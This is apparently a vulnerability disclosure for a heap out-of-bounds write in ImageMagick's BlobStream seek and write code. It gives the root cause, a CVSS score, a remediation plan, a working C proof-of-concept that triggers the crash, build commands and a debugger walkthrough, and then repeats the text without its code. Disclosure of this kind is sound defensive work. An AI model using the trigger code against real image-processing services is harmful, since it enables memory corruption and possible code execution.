Reporter: Lumina Mescuwa
Product: ImageMagick 7 (MagickCore)
Component: MagickCore/blob.c
(Blob I/O - BlobStream)
Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI
Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution
Executive Summary
For memory-backed blobs (BlobStream), SeekBlob()
permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob()
then expands by quantum + length
(amortized) instead of offset + length
, and copies to data + offset
. When offset ≫ extent
, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.
Affected Scope
-
Versions confirmed: 7.1.2-0, 7.1.2-1
-
Architectures: Observed on macOS arm64; architecture-agnostic on LP64
-
Paths: MagickCore blob subsystem — BlobStream (SeekBlob()
and WriteBlob()
).
-
Not required: External delegates; special policies; integer wraparound
Technical Root Cause
Types (LP64):
offset: MagickOffsetType
(signed 64-bit)
extent/length/quantum: size_t
(unsigned 64-bit)
data: unsigned char*
Contract mismatch:
-
SeekBlob()
(BlobStream) updates offset
to arbitrary positions, including past end, without capacity adjustment.
-
WriteBlob()
tests offset + length >= extent
and grows by length + quantum
, doubles quantum
, reallocates to extent + 1
, then:
q = data + (size_t)offset;
memmove(q, src, length);
There is no guarantee that extent ≥ offset + length
post-growth. With offset ≫ extent
, q
is beyond the allocation.
Wrap-free demonstration:
Initialize extent=1
, write one byte (offset=1
), seek to 0x10000000
(256 MiB), then write 3–4 bytes. Growth remains << offset + length
; the copy overruns the heap buffer.
Exploitability & Reachability
-
Primitive: Controlled bytes written at a controlled displacement from the buffer base.
-
Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers.
-
Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.
Impact Assessment
-
Integrity: High - adjacent object/metadata overwrite plausible.
-
Availability: High - reliably crashable (ASan and non-ASan).
-
Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.
-
RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.
CVSS v3.1 Rationale (9.8)
-
AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action.
-
AC:L - a single forward seek + write suffices; no races or specialized state.
-
S:U - corruption localized to the ImageMagick process.
-
C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).
Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.
Violated Invariant
Before copying length
bytes at offset
, enforce extent ≥ offset + length
with overflow-checked arithmetic.
The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.
Remediation (Principle)
In WriteBlob()
(BlobStream case):
-
Checked requirement:
need = (size_t)offset + length;
→ if need < (size_t)offset
, overflow → fail.
-
Ensure capacity ≥ need:
target = MagickMax(extent + quantum + length, need);
(Optionally loop, doubling quantum
, until extent ≥ need
to preserve amortization.)
-
Reallocate to target + 1
before copying; then perform the move.
Companion hardening (recommended):
-
Document or restrict SeekBlob()
on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.
-
Centralize blob arithmetic in checked helpers.
-
Unit tests: forward-seek-then-write (success and overflow-reject).
Regression & Compatibility
-
Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).
-
Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.
Vendor Verification Checklist
-
Reproduce with a minimal in-memory BlobStream harness under ASan.
-
Apply fix; verify extent ≥ offset + length
at all write sites.
-
Add forward-seek test cases (positive/negative).
-
Audit other growth sites (SetBlobExtent
, stream helpers).
-
Clarify BlobStream seek semantics in documentation.
-
Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need
or clean failure.
PoC / Reproduction / Notes
Environment
-
OS/Arch: macOS 14 (arm64)
-
Compiler: clang-17 with AddressSanitizer
-
ImageMagick: Q16-HDRI
-
Prefix: ~/opt/im-7.1.2-0
-
pkg-config
: from PATH (no hard-coded /usr/local/...
)
Build ImageMagick 7.1.2-0 (static, minimal)
./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \
--disable-shared --enable-static --without-modules \
--without-magick-plus-plus --disable-openmp --without-perl \
--without-x --without-lqr --without-gslib
make -j"$(sysctl -n hw.ncpu)"
make install
"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt
Build & Run the PoC (memory-backed BlobStream)
poc.c
:
Uses private headers (blob-private.h
) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.
// poc.c
#include <stdio.h>
#include <stdlib.h>
#include <MagickCore/MagickCore.h>
#include <MagickCore/blob.h>
#include "MagickCore/blob-private.h"
int main(int argc, char **argv) {
MagickCoreGenesis(argv[0], MagickTrue);
ExceptionInfo *e = AcquireExceptionInfo();
ImageInfo *ii = AcquireImageInfo();
Image *im = AcquireImage(ii, e);
if (!im) return 1;
// 1-byte memory blob → BlobStream
unsigned char *buf = (unsigned char*) malloc(1);
buf[0] = 0x41;
AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0
SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf
// Step 1: write 1 byte (creates BlobInfo + sets offset=1)
unsigned char A = 0x42;
(void) WriteBlob(im, 1, &A);
fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",
(long long) TellBlob(im), (size_t) GetBlobSize(im));
// Step 2: seek way past end without growing capacity
const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB
(void) SeekBlob(im, big, SEEK_SET);
fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",
(long long) TellBlob(im), (size_t) GetBlobSize(im));
// Step 3: small write → reallocation grows by quantum+length, not to offset+length
// memcpy then writes to data + offset (OOB)
const unsigned char payload[] = "PWN";
(void) WriteBlob(im, sizeof(payload), payload);
// If we get here, it didn't crash
fprintf(stderr, "[-] no crash; check ASan flags.\n");
(void) CloseBlob(im);
DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);
MagickCoreTerminus();
return 0;
}
run:
# Use the private prefix for pkg-config
export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"
# Strict ASan for crisp failure
export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'
# Compile (static link pulls transitive deps via --static)
clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \
$(pkg-config --cflags MagickCore-7.Q16HDRI) \
$(pkg-config --static --libs MagickCore-7.Q16HDRI)
# Execute and capture
./poc 2>&1 | tee asan.log
Expected markers prior to the fault:
[+] after 1 byte: off=1 len=1
[+] after seek: off=268435456 len=1
An ASan WRITE crash in WriteBlob
follows (top frames: WriteBlob blob.c:<line>
, then _platform_memmove
/ __sanitizer_internal_memmove
).
Debugger Verification (manual)
LLDB can be used to snapshot the invariants; ASan alone is sufficient.
lldb ./poc
(lldb) settings set use-color false
(lldb) break set -n WriteBlob
(lldb) run
# First stop (prime write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) continue
# Second stop (post-seek write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length
(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)
# Into the fault; if inside memmove (no locals):
(lldb) bt
(lldb) frame select 1
(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum
Expected at second stop:
type = BlobStream
· offset ≈ 0x10000000
(256 MiB) · length ≈ 3–4
· extent ≈ 64 KiB
(≪ offset + length
) · quantum ≈ 128 KiB
· mapped = MagickFalse
· data + offset
far beyond base; next continue
crashes in _platform_memmove
.
Credits
Reported by: Lumina Mescuwa
References
Reporter: Lumina Mescuwa
Product: ImageMagick 7 (MagickCore)
Component:
MagickCore/blob.c
(Blob I/O - BlobStream)Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI
Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution
Executive Summary
For memory-backed blobs (BlobStream),
SeekBlob()
permits advancing the stream offset beyond the current end without increasing capacity. The subsequentWriteBlob()
then expands byquantum + length
(amortized) instead ofoffset + length
, and copies todata + offset
. Whenoffset ≫ extent
, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.Affected Scope
Versions confirmed: 7.1.2-0, 7.1.2-1
Architectures: Observed on macOS arm64; architecture-agnostic on LP64
Paths: MagickCore blob subsystem — BlobStream (
SeekBlob()
andWriteBlob()
).Not required: External delegates; special policies; integer wraparound
Technical Root Cause
Types (LP64):
offset: MagickOffsetType
(signed 64-bit)extent/length/quantum: size_t
(unsigned 64-bit)data: unsigned char*
Contract mismatch:
SeekBlob()
(BlobStream) updatesoffset
to arbitrary positions, including past end, without capacity adjustment.WriteBlob()
testsoffset + length >= extent
and grows bylength + quantum
, doublesquantum
, reallocates toextent + 1
, then:There is no guarantee that
extent ≥ offset + length
post-growth. Withoffset ≫ extent
,q
is beyond the allocation.Wrap-free demonstration:
Initialize
extent=1
, write one byte (offset=1
), seek to0x10000000
(256 MiB), then write 3–4 bytes. Growth remains <<offset + length
; the copy overruns the heap buffer.Exploitability & Reachability
Primitive: Controlled bytes written at a controlled displacement from the buffer base.
Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers.
Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.
Impact Assessment
Integrity: High - adjacent object/metadata overwrite plausible.
Availability: High - reliably crashable (ASan and non-ASan).
Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.
RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.
CVSS v3.1 Rationale (9.8)
AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action.
AC:L - a single forward seek + write suffices; no races or specialized state.
S:U - corruption localized to the ImageMagick process.
C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).
Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.
Violated Invariant
The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.
Remediation (Principle)
In
WriteBlob()
(BlobStream case):Checked requirement:
need = (size_t)offset + length;
→ ifneed < (size_t)offset
, overflow → fail.Ensure capacity ≥ need:
target = MagickMax(extent + quantum + length, need);
(Optionally loop, doubling
quantum
, untilextent ≥ need
to preserve amortization.)Reallocate to
target + 1
before copying; then perform the move.Companion hardening (recommended):
Document or restrict
SeekBlob()
on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.Centralize blob arithmetic in checked helpers.
Unit tests: forward-seek-then-write (success and overflow-reject).
Regression & Compatibility
Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).
Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.
Vendor Verification Checklist
Reproduce with a minimal in-memory BlobStream harness under ASan.
Apply fix; verify
extent ≥ offset + length
at all write sites.Add forward-seek test cases (positive/negative).
Audit other growth sites (
SetBlobExtent
, stream helpers).Clarify BlobStream seek semantics in documentation.
Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to
need
or clean failure.PoC / Reproduction / Notes
Environment
OS/Arch: macOS 14 (arm64)
Compiler: clang-17 with AddressSanitizer
ImageMagick: Q16-HDRI
Prefix:
~/opt/im-7.1.2-0
pkg-config
: from PATH (no hard-coded/usr/local/...
)Build ImageMagick 7.1.2-0 (static, minimal)
Build & Run the PoC (memory-backed BlobStream)
poc.c
:Uses private headers (
blob-private.h
) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.run:
Expected markers prior to the fault:
An ASan WRITE crash in
WriteBlob
follows (top frames:WriteBlob blob.c:<line>
, then_platform_memmove
/__sanitizer_internal_memmove
).Debugger Verification (manual)
LLDB can be used to snapshot the invariants; ASan alone is sufficient.
Expected at second stop:
type = BlobStream
·offset ≈ 0x10000000
(256 MiB) ·length ≈ 3–4
·extent ≈ 64 KiB
(≪offset + length
) ·quantum ≈ 128 KiB
·mapped = MagickFalse
·data + offset
far beyond base; nextcontinue
crashes in_platform_memmove
.Credits
Reported by: Lumina Mescuwa
References